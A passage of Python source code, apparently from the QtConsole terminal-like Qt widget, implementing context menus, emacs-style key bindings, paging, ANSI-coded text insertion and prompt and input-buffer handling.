self._control.setTextCursor(cursor)
self._temp_buffer_filled = True
def _context_menu_make(self, pos):
""" Creates a context menu for the given QPoint (in widget coordinates).
"""
menu = QtGui.QMenu(self)
self.cut_action = menu.addAction('Cut', self.cut)
self.cut_action.setEnabled(self.can_cut())
self.cut_action.setShortcut(QtGui.QKeySequence.Cut)
self.copy_action = menu.addAction('Copy', self.copy)
self.copy_action.setEnabled(self.can_copy())
self.copy_action.setShortcut(QtGui.QKeySequence.Copy)
self.paste_action = menu.addAction('Paste', self.paste)
self.paste_action.setEnabled(self.can_paste())
self.paste_action.setShortcut(QtGui.QKeySequence.Paste)
anchor = self._control.anchorAt(pos)
if anchor:
menu.addSeparator()
self.copy_link_action = menu.addAction(
'Copy Link Address', lambda: self.copy_anchor(anchor=anchor))
self.open_link_action = menu.addAction(
'Open Link', lambda: self.open_anchor(anchor=anchor))
menu.addSeparator()
menu.addAction(self.select_all_action)
menu.addSeparator()
menu.addAction(self.export_action)
menu.addAction(self.print_action)
return menu
def _control_key_down(self, modifiers, include_command=False):
""" Given a KeyboardModifiers flags object, return whether the Control
key is down.
Parameters
----------
include_command : bool, optional (default True)
Whether to treat the Command key as a (mutually exclusive) synonym
for Control when in Mac OS.
"""
# Note that on Mac OS, ControlModifier corresponds to the Command key
# while MetaModifier corresponds to the Control key.
if sys.platform == 'darwin':
down = include_command and (modifiers & QtCore.Qt.ControlModifier)
return bool(down) ^ bool(modifiers & QtCore.Qt.MetaModifier)
else:
return bool(modifiers & QtCore.Qt.ControlModifier)
def _create_control(self):
""" Creates and connects the underlying text widget.
"""
# Create the underlying control.
if self.custom_control:
control = self.custom_control()
elif self.kind == 'plain':
control = QtGui.QPlainTextEdit()
elif self.kind == 'rich':
control = QtGui.QTextEdit()
control.setAcceptRichText(False)
control.setMouseTracking(True)
# Prevent the widget from handling drops, as we already provide
# the logic in this class.
control.setAcceptDrops(False)
# Install event filters. The filter on the viewport is needed for
# mouse events.
control.installEventFilter(self)
control.viewport().installEventFilter(self)
# Connect signals.
control.customContextMenuRequested.connect(
self._custom_context_menu_requested)
control.copyAvailable.connect(self.copy_available)
control.redoAvailable.connect(self.redo_available)
control.undoAvailable.connect(self.undo_available)
# Hijack the document size change signal to prevent Qt from adjusting
# the viewport's scrollbar. We are relying on an implementation detail
# of Q(Plain)TextEdit here, which is potentially dangerous, but without
# this functionality we cannot create a nice terminal interface.
layout = control.document().documentLayout()
layout.documentSizeChanged.disconnect()
layout.documentSizeChanged.connect(self._adjust_scrollbars)
# Configure the control.
control.setAttribute(QtCore.Qt.WA_InputMethodEnabled, True)
control.setContextMenuPolicy(QtCore.Qt.CustomContextMenu)
control.setReadOnly(True)
control.setUndoRedoEnabled(False)
control.setVerticalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOn)
return control
def _create_page_control(self):
""" Creates and connects the underlying paging widget.
"""
if self.custom_page_control:
control = self.custom_page_control()
elif self.kind == 'plain':
control = QtGui.QPlainTextEdit()
elif self.kind == 'rich':
control = QtGui.QTextEdit()
control.installEventFilter(self)
viewport = control.viewport()
viewport.installEventFilter(self)
control.setReadOnly(True)
control.setUndoRedoEnabled(False)
control.setVerticalScrollBarPolicy(QtCore.Qt.ScrollBarAlwaysOn)
return control
def _event_filter_console_keypress(self, event):
""" Filter key events for the underlying text widget to create a
console-like interface.
"""
intercepted = False
cursor = self._control.textCursor()
position = cursor.position()
key = event.key()
ctrl_down = self._control_key_down(event.modifiers())
alt_down = event.modifiers() & QtCore.Qt.AltModifier
shift_down = event.modifiers() & QtCore.Qt.ShiftModifier
#------ Special modifier logic -----------------------------------------
if key in (QtCore.Qt.Key_Return, QtCore.Qt.Key_Enter):
intercepted = True
# Special handling when tab completing in text mode.
self._cancel_completion()
if self._in_buffer(position):
# Special handling when a reading a line of raw input.
if self._reading:
self._append_plain_text('\n')
self._reading = False
if self._reading_callback:
self._reading_callback()
# If the input buffer is a single line or there is only
# whitespace after the cursor, execute. Otherwise, split the
# line with a continuation prompt.
elif not self._executing:
cursor.movePosition(QtGui.QTextCursor.End,
QtGui.QTextCursor.KeepAnchor)
at_end = len(cursor.selectedText().strip()) == 0
single_line = (self._get_end_cursor().blockNumber() ==
self._get_prompt_cursor().blockNumber())
if (at_end or shift_down or single_line) and not ctrl_down:
self.execute(interactive = not shift_down)
else:
# Do this inside an edit block for clean undo/redo.
pos = self._get_input_buffer_cursor_pos()
complete, indent = self._is_complete(
self._get_input_buffer()[:pos], True)
cursor.beginEditBlock()
cursor.setPosition(position)
cursor.insertText('\n')
self._insert_continuation_prompt(cursor)
if indent:
cursor.insertText(indent)
cursor.endEditBlock()
# Ensure that the whole input buffer is visible.
# FIXME: This will not be usable if the input buffer is
# taller than the console widget.
self._control.moveCursor(QtGui.QTextCursor.End)
self._control.setTextCursor(cursor)
#------ Control/Cmd modifier -------------------------------------------
elif ctrl_down:
if key == QtCore.Qt.Key_G:
self._keyboard_quit()
intercepted = True
elif key == QtCore.Qt.Key_K:
if self._in_buffer(position):
cursor.clearSelection()
cursor.movePosition(QtGui.QTextCursor.EndOfLine,
QtGui.QTextCursor.KeepAnchor)
if not cursor.hasSelection():
# Line deletion (remove continuation prompt)
cursor.movePosition(QtGui.QTextCursor.NextBlock,
QtGui.QTextCursor.KeepAnchor)
cursor.movePosition(QtGui.QTextCursor.Right,
QtGui.QTextCursor.KeepAnchor,
len(self._continuation_prompt))
self._kill_ring.kill_cursor(cursor)
self._set_cursor(cursor)
intercepted = True
elif key == QtCore.Qt.Key_L:
self.prompt_to_top()
intercepted = True
elif key == QtCore.Qt.Key_O:
if self._page_control and self._page_control.isVisible():
self._page_control.setFocus()
intercepted = True
elif key == QtCore.Qt.Key_U:
if self._in_buffer(position):
cursor.clearSelection()
start_line = cursor.blockNumber()
if start_line == self._get_prompt_cursor().blockNumber():
offset = len(self._prompt)
else:
offset = len(self._continuation_prompt)
cursor.movePosition(QtGui.QTextCursor.StartOfBlock,
QtGui.QTextCursor.KeepAnchor)
cursor.movePosition(QtGui.QTextCursor.Right,
QtGui.QTextCursor.KeepAnchor, offset)
self._kill_ring.kill_cursor(cursor)
self._set_cursor(cursor)
intercepted = True
elif key == QtCore.Qt.Key_Y:
self._keep_cursor_in_buffer()
self._kill_ring.yank()
intercepted = True
elif key in (QtCore.Qt.Key_Backspace, QtCore.Qt.Key_Delete):
if key == QtCore.Qt.Key_Backspace:
cursor = self._get_word_start_cursor(position)
else: # key == QtCore.Qt.Key_Delete
cursor = self._get_word_end_cursor(position)
cursor.setPosition(position, QtGui.QTextCursor.KeepAnchor)
self._kill_ring.kill_cursor(cursor)
intercepted = True
elif key == QtCore.Qt.Key_D:
if len(self.input_buffer) == 0:
self.exit_requested.emit(self)
else:
new_event = QtGui.QKeyEvent(QtCore.QEvent.KeyPress,
QtCore.Qt.Key_Delete,
QtCore.Qt.NoModifier)
QtGui.qApp.sendEvent(self._control, new_event)
intercepted = True
#------ Alt modifier ---------------------------------------------------
elif alt_down:
if key == QtCore.Qt.Key_B:
self._set_cursor(self._get_word_start_cursor(position))
intercepted = True
elif key == QtCore.Qt.Key_F:
self._set_cursor(self._get_word_end_cursor(position))
intercepted = True
elif key == QtCore.Qt.Key_Y:
self._kill_ring.rotate()
intercepted = True
elif key == QtCore.Qt.Key_Backspace:
cursor = self._get_word_start_cursor(position)
cursor.setPosition(position, QtGui.QTextCursor.KeepAnchor)
self._kill_ring.kill_cursor(cursor)
intercepted = True
elif key == QtCore.Qt.Key_D:
cursor = self._get_word_end_cursor(position)
cursor.setPosition(position, QtGui.QTextCursor.KeepAnchor)
self._kill_ring.kill_cursor(cursor)
intercepted = True
elif key == QtCore.Qt.Key_Delete:
intercepted = True
elif key == QtCore.Qt.Key_Greater:
self._control.moveCursor(QtGui.QTextCursor.End)
intercepted = True
elif key == QtCore.Qt.Key_Less:
self._control.setTextCursor(self._get_prompt_cursor())
intercepted = True
#------ No modifiers ---------------------------------------------------
else:
if shift_down:
anchormode = QtGui.QTextCursor.KeepAnchor
else:
anchormode = QtGui.QTextCursor.MoveAnchor
if key == QtCore.Qt.Key_Escape:
self._keyboard_quit()
intercepted = True
elif key == QtCore.Qt.Key_Up:
if self._reading or not self._up_pressed(shift_down):
intercepted = True
else:
prompt_line = self._get_prompt_cursor().blockNumber()
intercepted = cursor.blockNumber() <= prompt_line
elif key == QtCore.Qt.Key_Down:
if self._reading or not self._down_pressed(shift_down):
intercepted = True
else:
end_line = self._get_end_cursor().blockNumber()
intercepted = cursor.blockNumber() == end_line
elif key == QtCore.Qt.Key_Tab:
if not self._reading:
if self._tab_pressed():
# real tab-key, insert four spaces
step = 4 - (self._get_cursor().columnNumber() -
len(self._continuation_prompt)) % 4
cursor.insertText(' '*step)
intercepted = True
elif key == QtCore.Qt.Key_Backtab:
cur = self._get_cursor()
cur.movePosition(QtGui.QTextCursor.StartOfLine)
cur.movePosition(QtGui.QTextCursor.Right,
QtGui.QTextCursor.MoveAnchor,
self._get_prompt_cursor().columnNumber())
spaces = self._get_leading_spaces()
step = spaces % 4
cur.movePosition(QtGui.QTextCursor.Right,
QtGui.QTextCursor.KeepAnchor,
min(spaces, step if step != 0 else 4))
cur.removeSelectedText()
intercepted = True
elif key == QtCore.Qt.Key_Left:
# Move to the previous line
line, col = cursor.blockNumber(), cursor.columnNumber()
if line > self._get_prompt_cursor().blockNumber() and \
col == len(self._continuation_prompt):
self._control.moveCursor(QtGui.QTextCursor.PreviousBlock,
mode=anchormode)
self._control.moveCursor(QtGui.QTextCursor.EndOfBlock,
mode=anchormode)
intercepted = True
# Regular left movement
else:
intercepted = not self._in_buffer(position - 1)
elif key == QtCore.Qt.Key_Right:
original_block_number = cursor.blockNumber()
self._control.moveCursor(QtGui.QTextCursor.Right,
mode=anchormode)
if cursor.blockNumber() != original_block_number:
self._control.moveCursor(QtGui.QTextCursor.Right,
n=len(self._continuation_prompt),
mode=anchormode)
intercepted = True
elif key == QtCore.Qt.Key_Home:
start_line = cursor.blockNumber()
if start_line == self._get_prompt_cursor().blockNumber():
start_pos = self._prompt_pos
else:
cursor.movePosition(QtGui.QTextCursor.StartOfBlock,
QtGui.QTextCursor.KeepAnchor)
start_pos = cursor.position()
start_pos += len(self._continuation_prompt)
cursor.setPosition(position)
c = self._get_cursor()
spaces = self._get_leading_spaces()
if (c.position() > start_pos + spaces or
c.columnNumber() == len(self._continuation_prompt)):
start_pos += spaces # Beginning of text
if shift_down and self._in_buffer(position):
if c.selectedText():
sel_max = max(c.selectionStart(), c.selectionEnd())
cursor.setPosition(sel_max,
QtGui.QTextCursor.MoveAnchor)
cursor.setPosition(start_pos, QtGui.QTextCursor.KeepAnchor)
else:
cursor.setPosition(start_pos)
self._set_cursor(cursor)
intercepted = True
elif key == QtCore.Qt.Key_Backspace:
# Line deletion (remove continuation prompt)
line, col = cursor.blockNumber(), cursor.columnNumber()
if not self._reading and \
col == len(self._continuation_prompt) and \
line > self._get_prompt_cursor().blockNumber():
cursor.beginEditBlock()
cursor.movePosition(QtGui.QTextCursor.StartOfBlock,
QtGui.QTextCursor.KeepAnchor)
cursor.removeSelectedText()
cursor.deletePreviousChar()
cursor.endEditBlock()
intercepted = True
# Regular backwards deletion
else:
anchor = cursor.anchor()
if anchor == position:
intercepted = not self._in_buffer(position - 1)
else:
intercepted = not self._in_buffer(min(anchor, position))
elif key == QtCore.Qt.Key_Delete:
# Line deletion (remove continuation prompt)
if not self._reading and self._in_buffer(position) and \
cursor.atBlockEnd() and not cursor.hasSelection():
cursor.movePosition(QtGui.QTextCursor.NextBlock,
QtGui.QTextCursor.KeepAnchor)
cursor.movePosition(QtGui.QTextCursor.Right,
QtGui.QTextCursor.KeepAnchor,
len(self._continuation_prompt))
cursor.removeSelectedText()
intercepted = True
# Regular forwards deletion:
else:
anchor = cursor.anchor()
intercepted = (not self._in_buffer(anchor) or
not self._in_buffer(position))
#------ Special sequences ----------------------------------------------
if not intercepted:
if event.matches(QtGui.QKeySequence.Copy):
self.copy()
intercepted = True
elif event.matches(QtGui.QKeySequence.Cut):
self.cut()
intercepted = True
elif event.matches(QtGui.QKeySequence.Paste):
self.paste()
intercepted = True
# Don't move the cursor if Control/Cmd is pressed to allow copy-paste
# using the keyboard in any part of the buffer. Also, permit scrolling
# with Page Up/Down keys. Finally, if we're executing, don't move the
# cursor (if even this made sense, we can't guarantee that the prompt
# position is still valid due to text truncation).
if not (self._control_key_down(event.modifiers(), include_command=True)
or key in (QtCore.Qt.Key_PageUp, QtCore.Qt.Key_PageDown)
or (self._executing and not self._reading)):
self._keep_cursor_in_buffer()
return intercepted
def _event_filter_page_keypress(self, event):
""" Filter key events for the paging widget to create console-like
interface.
"""
key = event.key()
ctrl_down = self._control_key_down(event.modifiers())
alt_down = event.modifiers() & QtCore.Qt.AltModifier
if ctrl_down:
if key == QtCore.Qt.Key_O:
self._control.setFocus()
intercept = True
elif alt_down:
if key == QtCore.Qt.Key_Greater:
self._page_control.moveCursor(QtGui.QTextCursor.End)
intercepted = True
elif key == QtCore.Qt.Key_Less:
self._page_control.moveCursor(QtGui.QTextCursor.Start)
intercepted = True
elif key in (QtCore.Qt.Key_Q, QtCore.Qt.Key_Escape):
if self._splitter:
self._page_control.hide()
self._control.setFocus()
else:
self.layout().setCurrentWidget(self._control)
# re-enable buffer truncation after paging
self._control.document().setMaximumBlockCount(self.buffer_size)
return True
elif key in (QtCore.Qt.Key_Enter, QtCore.Qt.Key_Return,
QtCore.Qt.Key_Tab):
new_event = QtGui.QKeyEvent(QtCore.QEvent.KeyPress,
QtCore.Qt.Key_PageDown,
QtCore.Qt.NoModifier)
QtGui.qApp.sendEvent(self._page_control, new_event)
return True
elif key == QtCore.Qt.Key_Backspace:
new_event = QtGui.QKeyEvent(QtCore.QEvent.KeyPress,
QtCore.Qt.Key_PageUp,
QtCore.Qt.NoModifier)
QtGui.qApp.sendEvent(self._page_control, new_event)
return True
# vi/less -like key bindings
elif key == QtCore.Qt.Key_J:
new_event = QtGui.QKeyEvent(QtCore.QEvent.KeyPress,
QtCore.Qt.Key_Down,
QtCore.Qt.NoModifier)
QtGui.qApp.sendEvent(self._page_control, new_event)
return True
# vi/less -like key bindings
elif key == QtCore.Qt.Key_K:
new_event = QtGui.QKeyEvent(QtCore.QEvent.KeyPress,
QtCore.Qt.Key_Up,
QtCore.Qt.NoModifier)
QtGui.qApp.sendEvent(self._page_control, new_event)
return True
return False
def _on_flush_pending_stream_timer(self):
""" Flush the pending stream output and change the
prompt position appropriately.
"""
cursor = self._control.textCursor()
cursor.movePosition(QtGui.QTextCursor.End)
pos = cursor.position()
self._flush_pending_stream()
cursor.movePosition(QtGui.QTextCursor.End)
def _flush_pending_stream(self):
""" Flush out pending text into the widget. """
text = self._pending_insert_text
self._pending_insert_text = []
buffer_size = self._control.document().maximumBlockCount()
if buffer_size > 0:
text = self._get_last_lines_from_list(text, buffer_size)
text = ''.join(text)
t = time.time()
self._insert_plain_text(self._get_end_cursor(), text, flush=True)
# Set the flush interval to equal the maximum time to update text.
self._pending_text_flush_interval.setInterval(max(100,
(time.time()-t)*1000))
def _format_as_columns(self, items, separator=' '):
""" Transform a list of strings into a single string with columns.
Parameters
----------
items : sequence of strings
The strings to process.
separator : str, optional [default is two spaces]
The string that separates columns.
Returns
-------
The formatted string.
"""
# Calculate the number of characters available.
width = self._control.document().textWidth()
char_width = QtGui.QFontMetrics(self.font).width(' ')
displaywidth = max(10, (width / char_width) - 1)
return columnize(items, separator, displaywidth)
def _get_block_plain_text(self, block):
""" Given a QTextBlock, return its unformatted text.
"""
cursor = QtGui.QTextCursor(block)
cursor.movePosition(QtGui.QTextCursor.StartOfBlock)
cursor.movePosition(QtGui.QTextCursor.EndOfBlock,
QtGui.QTextCursor.KeepAnchor)
return cursor.selection().toPlainText()
def _get_cursor(self):
""" Convenience method that returns a cursor for the current position.
"""
return self._control.textCursor()
def _get_end_cursor(self):
""" Convenience method that returns a cursor for the last character.
"""
cursor = self._control.textCursor()
cursor.movePosition(QtGui.QTextCursor.End)
return cursor
def _get_end_pos(self):
""" Convenience method that returns the position of the last character.
"""
return self._get_end_cursor().position()
def _get_input_buffer_cursor_column(self):
""" Returns the column of the cursor in the input buffer, excluding the
contribution by the prompt, or -1 if there is no such column.
"""
prompt = self._get_input_buffer_cursor_prompt()
if prompt is None:
return -1
else:
cursor = self._control.textCursor()
return cursor.columnNumber() - len(prompt)
def _get_input_buffer_cursor_line(self):
""" Returns the text of the line of the input buffer that contains the
cursor, or None if there is no such line.
"""
prompt = self._get_input_buffer_cursor_prompt()
if prompt is None:
return None
else:
cursor = self._control.textCursor()
text = self._get_block_plain_text(cursor.block())
return text[len(prompt):]
def _get_input_buffer_cursor_pos(self):
"""Return the cursor position within the input buffer."""
cursor = self._control.textCursor()
cursor.setPosition(self._prompt_pos, QtGui.QTextCursor.KeepAnchor)
input_buffer = cursor.selection().toPlainText()
# Don't count continuation prompts
return len(input_buffer.replace('\n' + self._continuation_prompt, '\n'))
def _get_input_buffer_cursor_prompt(self):
""" Returns the (plain text) prompt for line of the input buffer that
contains the cursor, or None if there is no such line.
"""
if self._executing:
return None
cursor = self._control.textCursor()
if cursor.position() >= self._prompt_pos:
if cursor.blockNumber() == self._get_prompt_cursor().blockNumber():
return self._prompt
else:
return self._continuation_prompt
else:
return None
def _get_last_lines(self, text, num_lines, return_count=False):
""" Return last specified number of lines of text (like `tail -n`).
If return_count is True, returns a tuple of clipped text and the
number of lines in the clipped text.
"""
pos = len(text)
if pos < num_lines:
if return_count:
return text, text.count('\n') if return_count else text
else:
return text
i = 0
while i < num_lines:
pos = text.rfind('\n', None, pos)
if pos == -1:
pos = None
break
i += 1
if return_count:
return text[pos:], i
else:
return text[pos:]
def _get_last_lines_from_list(self, text_list, num_lines):
""" Return the list of text clipped to last specified lines.
"""
ret = []
lines_pending = num_lines
for text in reversed(text_list):
text, lines_added = self._get_last_lines(text, lines_pending,
return_count=True)
ret.append(text)
lines_pending -= lines_added
if lines_pending <= 0:
break
return ret[::-1]
def _get_leading_spaces(self):
""" Convenience method that returns the number of leading spaces.
"""
cur = self._get_cursor()
cur.select(QtGui.QTextCursor.LineUnderCursor)
text = cur.selectedText()[len(self._continuation_prompt):]
return len(text) - len(text.lstrip())
@property
def _prompt_pos(self):
"""Find the position in the text right after the prompt"""
return min(self._prompt_cursor.position() + 1, self._get_end_pos())
@property
def _append_before_prompt_pos(self):
"""Find the position in the text right before the prompt"""
return min(self._append_before_prompt_cursor.position(),
self._get_end_pos())
def _get_prompt_cursor(self):
""" Convenience method that returns a cursor for the prompt position.
"""
cursor = self._control.textCursor()
cursor.setPosition(self._prompt_pos)
return cursor
def _get_selection_cursor(self, start, end):
""" Convenience method that returns a cursor with text selected between
the positions 'start' and 'end'.
"""
cursor = self._control.textCursor()
cursor.setPosition(start)
cursor.setPosition(end, QtGui.QTextCursor.KeepAnchor)
return cursor
def _get_word_start_cursor(self, position):
""" Find the start of the word to the left the given position. If a
sequence of non-word characters precedes the first word, skip over
them. (This emulates the behavior of bash, emacs, etc.)
"""
document = self._control.document()
position -= 1
while position >= self._prompt_pos and \
not is_letter_or_number(document.characterAt(position)):
position -= 1
while position >= self._prompt_pos and \
is_letter_or_number(document.characterAt(position)):
position -= 1
cursor = self._control.textCursor()
cursor.setPosition(position + 1)
return cursor
def _get_word_end_cursor(self, position):
""" Find the end of the word to the right the given position. If a
sequence of non-word characters precedes the first word, skip over
them. (This emulates the behavior of bash, emacs, etc.)
"""
document = self._control.document()
end = self._get_end_pos()
while position < end and \
not is_letter_or_number(document.characterAt(position)):
position += 1
while position < end and \
is_letter_or_number(document.characterAt(position)):
position += 1
cursor = self._control.textCursor()
cursor.setPosition(position)
return cursor
def _insert_continuation_prompt(self, cursor):
""" Inserts new continuation prompt using the specified cursor.
"""
if self._continuation_prompt_html is None:
self._insert_plain_text(cursor, self._continuation_prompt)
else:
self._continuation_prompt = self._insert_html_fetching_plain_text(
cursor, self._continuation_prompt_html)
def _insert_block(self, cursor, block_format=None):
""" Inserts an empty QTextBlock using the specified cursor.
"""
if block_format is None:
block_format = QtGui.QTextBlockFormat()
cursor.insertBlock(block_format)
def _insert_html(self, cursor, html):
""" Inserts HTML using the specified cursor in such a way that future
formatting is unaffected.
"""
cursor.beginEditBlock()
cursor.insertHtml(html)
# After inserting HTML, the text document "remembers" it's in "html
# mode", which means that subsequent calls adding plain text will result
# in unwanted formatting, lost tab characters, etc. The following code
# hacks around this behavior, which I consider to be a bug in Qt, by
# (crudely) resetting the document's style state.
cursor.movePosition(QtGui.QTextCursor.Left,
QtGui.QTextCursor.KeepAnchor)
if cursor.selection().toPlainText() == ' ':
cursor.removeSelectedText()
else:
cursor.movePosition(QtGui.QTextCursor.Right)
cursor.insertText(' ', QtGui.QTextCharFormat())
cursor.endEditBlock()
def _insert_html_fetching_plain_text(self, cursor, html):
""" Inserts HTML using the specified cursor, then returns its plain text
version.
"""
cursor.beginEditBlock()
cursor.removeSelectedText()
start = cursor.position()
self._insert_html(cursor, html)
end = cursor.position()
cursor.setPosition(start, QtGui.QTextCursor.KeepAnchor)
text = cursor.selection().toPlainText()
cursor.setPosition(end)
cursor.endEditBlock()
return text
def _insert_plain_text(self, cursor, text, flush=False):
""" Inserts plain text using the specified cursor, processing ANSI codes
if enabled.
"""
# maximumBlockCount() can be different from self.buffer_size in
# case input prompt is active.
buffer_size = self._control.document().maximumBlockCount()
if (self._executing and not flush and
self._pending_text_flush_interval.isActive() and
cursor.position() == self._get_end_pos()):
# Queue the text to insert in case it is being inserted at end
self._pending_insert_text.append(text)
if buffer_size > 0:
self._pending_insert_text = self._get_last_lines_from_list(
self._pending_insert_text, buffer_size)
return
if self._executing and not self._pending_text_flush_interval.isActive():
self._pending_text_flush_interval.start()
# Clip the text to last `buffer_size` lines.
if buffer_size > 0:
text = self._get_last_lines(text, buffer_size)
cursor.beginEditBlock()
if self.ansi_codes:
for substring in self._ansi_processor.split_string(text):
for act in self._ansi_processor.actions:
# Unlike real terminal emulators, we don't distinguish
# between the screen and the scrollback buffer. A screen
# erase request clears everything.
if act.action == 'erase' and act.area == 'screen':
cursor.select(QtGui.QTextCursor.Document)
cursor.removeSelectedText()
# Simulate a form feed by scrolling just past the last line.
elif act.action == 'scroll' and act.unit == 'page':
cursor.insertText('\n')
cursor.endEditBlock()
self._set_top_cursor(cursor)
cursor.joinPreviousEditBlock()
cursor.deletePreviousChar()
if os.name == 'nt':
cursor.select(QtGui.QTextCursor.Document)
cursor.removeSelectedText()
elif act.action == 'carriage-return':
cursor.movePosition(
cursor.StartOfLine, cursor.KeepAnchor)
elif act.action == 'beep':
QtGui.qApp.beep()
elif act.action == 'backspace':
if not cursor.atBlockStart():
cursor.movePosition(
cursor.PreviousCharacter, cursor.KeepAnchor)
elif act.action == 'newline':
cursor.movePosition(cursor.EndOfLine)
format = self._ansi_processor.get_format()
selection = cursor.selectedText()
if len(selection) == 0:
cursor.insertText(substring, format)
elif substring is not None:
# BS and CR are treated as a change in print
# position, rather than a backwards character
# deletion for output equivalence with (I)Python
# terminal.
if len(substring) >= len(selection):
cursor.insertText(substring, format)
else:
old_text = selection[len(substring):]
cursor.insertText(substring + old_text, format)
cursor.movePosition(cursor.PreviousCharacter,
cursor.KeepAnchor, len(old_text))
else:
cursor.insertText(text)
cursor.endEditBlock()
def _insert_plain_text_into_buffer(self, cursor, text):
""" Inserts text into the input buffer using the specified cursor (which
must be in the input buffer), ensuring that continuation prompts are
inserted as necessary.
"""
lines = text.splitlines(True)
if lines:
if lines[-1].endswith('\n'):
# If the text ends with a newline, add a blank line so a new
# continuation prompt is produced.
lines.append('')
cursor.beginEditBlock()
cursor.insertText(lines[0])
for line in lines[1:]:
if self._continuation_prompt_html is None:
cursor.insertText(self._continuation_prompt)
else:
self._continuation_prompt = \
self._insert_html_fetching_plain_text(
cursor, self._continuation_prompt_html)
cursor.insertText(line)
cursor.endEditBlock()
def _in_buffer(self, position=None):
""" Returns whether the current cursor (or, if specified, a position) is
inside the editing region.
"""
cursor = self._control.textCursor()
if position is None:
position = cursor.position()
else:
cursor.setPosition(position)
line = cursor.blockNumber()
prompt_line = self._get_prompt_cursor().blockNumber()
if line == prompt_line:
return position >= self._prompt_pos
elif line > prompt_line:
cursor.movePosition(QtGui.QTextCursor.StartOfBlock)
prompt_pos = cursor.position() + len(self._continuation_prompt)
return position >= prompt_pos
return False
def _keep_cursor_in_buffer(self):
""" Ensures that the cursor is inside the editing region. Returns
whether the cursor was moved.
"""
moved = not self._in_buffer()
if moved:
cursor = self._control.textCursor()
cursor.movePosition(QtGui.QTextCursor.End)
self._control.setTextCursor(cursor)
return moved
def _keyboard_quit(self):
""" Cancels the current editing task ala Ctrl-G in Emacs.
"""
if self._temp_buffer_filled :
self._cancel_completion()
self._clear_temporary_buffer()
else:
self.input_buffer = ''
def _page(self, text, html=False):
""" Displays text using the pager if it exceeds the height of the
viewport.
Parameters
----------
html : bool, optional (default False)
If set, the text will be interpreted as HTML instead of plain text.
"""
line_height = QtGui.QFontMetrics(self.font).height()
minlines = self._control.viewport().height() / line_height
if self.paging != 'none' and \
re.match("(?:[^\n]*\n){%i}" % minlines, text):
if self.paging == 'custom':
self.custom_page_requested.emit(text)
else:
# disable buffer truncation during paging
self._control.document().setMaximumBlockCount(0)
self._page_control.clear()
cursor = self._page_control.textCursor()
if html:
self._insert_html(cursor, text)
else:
self._insert_plain_text(cursor, text)
self._page_control.moveCursor(QtGui.QTextCursor.Start)
self._page_control.viewport().resize(self._control.size())
if self._splitter:
self._page_control.show()
self._page_control.setFocus()
else:
self.layout().setCurrentWidget(self._page_control)
elif html:
self._append_html(text)
else:
self._append_plain_text(text)
def _set_paging(self, paging):
"""
Change the pager to `paging` style.
Parameters
----------
paging : string
Either "hsplit", "vsplit", or "inside"
"""
if self._splitter is None:
raise NotImplementedError("""can only switch if --paging=hsplit or
--paging=vsplit is used.""")
if paging == 'hsplit':
self._splitter.setOrientation(QtCore.Qt.Horizontal)
elif paging == 'vsplit':
self._splitter.setOrientation(QtCore.Qt.Vertical)
elif paging == 'inside':
raise NotImplementedError("""switching to 'inside' paging not
supported yet.""")
else:
raise ValueError("unknown paging method '%s'" % paging)
self.paging = paging
def _prompt_finished(self):
""" Called immediately after a prompt is finished, i.e. when some input
will be processed and a new prompt displayed.
"""
self._control.setReadOnly(True)
self._prompt_finished_hook()
def _prompt_started(self):
""" Called immediately after a new prompt is displayed.
"""
# Temporarily disable the maximum block count to permit undo/redo and
# to ensure that the prompt position does not change due to truncation.
self._control.document().setMaximumBlockCount(0)
self._control.setUndoRedoEnabled(True)
# Work around bug in QPlainTextEdit: input method is not re-enabled
# when read-only is disabled.
self._control.setReadOnly(False)
self._control.setAttribute(QtCore.Qt.WA_InputMethodEnabled, True)
if not self._reading:
self._executing = False
self._prompt_started_hook()
# If the input buffer has changed while executing, load it.
if self._input_buffer_pending:
self.input_buffer = self._input_buffer_pending
self._input_buffer_pending = ''
self._control.moveCursor(QtGui.QTextCursor.End)
def _readline(self, prompt='', callback=None, password=False):
""" Reads one line of input from the user.
Parameters
----------
prompt : str, optional
The prompt to print before reading the line.
callback : callable, optional
A callback to execute with the read line. If not specified, input is
read *synchronously* and this method does not return until it has
been read.
Returns
-------
If a callback is specified, returns nothing. Otherwise, returns the
input string with the trailing newline stripped.
"""
if self._reading:
raise RuntimeError('Cannot read a line. Widget is already reading.')
if not callback and not self.isVisible():
# If the user cannot see the widget, this function cannot return.
raise RuntimeError('Cannot synchronously read a line if the widget '
'is not visible!')
self._reading = True
if password:
self._show_prompt('Warning: QtConsole does not support password mode, '\
'the text you type will be visible.', newline=True)
self._show_prompt(prompt, newline=False)
if callback is None:
self._reading_callback = None
while self._reading:
QtCore.QCoreApplication.processEvents()
return self._get_input_buffer(force=True).rstrip('\n')
else:
self._reading_callback = lambda: \
callback(self._get_input_buffer(force=True).rstrip('\n'))
def _set_continuation_prompt(self, prompt, html=False):
""" Sets the continuation prompt.
Parameters
----------
prompt : str
The prompt to show when more input is needed.
html : bool, optional (default False)
If set, the prompt will be inserted as formatted HTML. Otherwise,
the prompt will be treated as plain text, though ANSI color codes
will be handled.
"""
if html:
self._continuation_prompt_html = prompt
else:
self._continuation_prompt = prompt
self._continuation_prompt_html = None
def _set_cursor(self, cursor):
""" Convenience method to set the current cursor.
"""
self._control.setTextCursor(cursor)
def _set_top_cursor(self, cursor):
""" Scrolls the viewport so that the specified cursor is at the top.
"""
scrollbar = self._control.verticalScrollBar()
scrollbar.setValue(scrollbar.maximum())
original_cursor = self._control.textCursor()
self._control.setTextCursor(cursor)
self._control.ensureCursorVisible()
self._control.setTextCursor(original_cursor)
def _show_prompt(self, prompt=None, html=False, newline=True):
""" Writes a new prompt at the end of the buffer.
Parameters
----------
prompt : str, optional
The prompt to show. If not specified, the previous prompt is used.
html : bool, optional (default False)
Only relevant when a prompt is specified. If set, the prompt will
be inserted as formatted HTML. Otherwise, the prompt will be treated
as plain text, though ANSI color codes will be handled.
newline : bool, optional (default True)
If set, a new line will be written before showing the prompt if
there is not already a newline at the end of the buffer.
"""
self._flush_pending_stream()
cursor = self._get_end_cursor()
# Save the current position to support _append*(before_prompt=True).
# We can't leave the cursor at the end of the document though, because
# that would cause any further additions to move the cursor. Therefore,
# we move it back one place and move it forward again at the end of
# this method. However, we only do this if the cursor isn't already
# at the start of the text.
if cursor.position() == 0:
move_forward = False
else:
move_forward = True
self._append_before_prompt_cursor.setPosition(cursor.position() - 1)
# Insert a preliminary newline, if necessary.
if newline and cursor.position() > 0:
cursor.movePosition(QtGui.QTextCursor.Left,
QtGui.QTextCursor.KeepAnchor)
if cursor.selection().toPlainText() != '\n':
